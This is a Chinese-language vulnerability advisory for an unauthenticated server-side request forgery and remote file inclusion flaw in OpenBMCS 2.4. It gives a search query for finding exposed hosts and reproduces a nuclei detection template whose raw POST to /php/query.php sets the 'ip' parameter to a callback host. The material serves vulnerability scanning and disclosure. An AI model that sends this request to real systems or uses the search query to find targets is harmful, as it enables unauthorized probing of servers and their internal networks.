OpenBMCS 24 Server-Side Request Forgery / Remote File Inclusion Vulnerability

漏洞信息

漏洞名称： OpenBMCS 2.4 Server-Side Request Forgery / Remote File Inclusion Vulnerability

漏洞类型： 服务器端请求伪造

漏洞等级： 中危

漏洞描述： OpenBMCS 2.4是一款开源的基板管理控制器软件，主要用于服务器硬件管理，包括远程电源控制、系统健康监测等功能。它广泛应用于数据中心和企业服务器管理中，作为硬件管理的关键组件。该软件在2.4版本中存在服务器端请求伪造（SSRF）和远程文件包含（RFI）漏洞，攻击者可以利用这些漏洞进行未授权的服务器请求和文件包含操作。

漏洞的技术根源在于OpenBMCS 2.4在处理POST请求时，对用户提供的’ip’参数未进行充分的验证和过滤。具体来说，应用程序会解析用户提交的’ip’参数，并默认向该IP地址的81端口发起HTTP请求。由于缺乏严格的输入验证，攻击者可以构造恶意的’ip’参数，指向任意外部域名或IP地址，从而迫使应用程序向攻击者控制的服务器发起请求。这种漏洞利用方式属于典型的服务器端请求伪造攻击。

该漏洞的安全风险主要体现在攻击者可以利用SSRF漏洞进行内网探测、绕过防火墙限制、访问内部服务等操作。如果结合RFI漏洞，攻击者还可能实现远程代码执行，进一步危害服务器安全。值得注意的是，该漏洞无需认证即可利用，且可以自动化攻击，因此对部署了OpenBMCS 2.4的系统构成了中等程度的安全威胁。企业用户应及时升级到修复版本或采取其他缓解措施以防止潜在的攻击。

产品厂商： OpenBMCS

产品名称： OpenBMCS

影响版本： 2.4

搜索语法： http.favicon.hash:1550906681

来源： https://github.com/projectdiscovery/nuclei-templates/blob/64a64b0937e369fef2cb769b4e48757616ecce15/http%2Fmisconfiguration%2Fopenbmcs%2Fopenbmcs-ssrf.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: openbmcs-ssrf

info:
  name: OpenBMCS 2.4 - Server-Side Request Forgery /  Remote File Inclusion
  author: dhiyaneshDK, NaN@korelogic
  severity: medium
  description: OpenBMCS 2.4 is susceptible to unauthenticated server-side request forgery and remote file inclusion vulnerabilities within its functionalities. The application parses user supplied data in the POST parameter 'ip' to query a server IP on port 81 by default. Since no validation is carried out on the parameter, an attacker can specify an external domain and force the application to make an HTTP request to an arbitrary destination host.
  reference:
    - https://www.exploit-db.com/exploits/50670
    - https://securityforeveryone.com/tools/openbmcs-unauth-ssrf-rfi-vulnerability-scanner
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 6.8
    cwe-id: CWE-918
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:1550906681
  tags: ssrf,oast,openbmcs,edb,misconfig

http:
  - raw:
      - |
        POST /php/query.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        ip={{interactsh-url}}:{{Port}}&argu=/

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "http"

      - type: status
        status:
          - 302
# digest: 490a0046304402205155d95257b9c18693f3de6fccafad786fdbe03a9942202d2ec16a4a4c52cfb002204fed2d95c0f6f82a6f73210e7279aff69284f3e7079c9906bd3b61735bcbb9ae:922c64590222798bb761d5b6d8e72950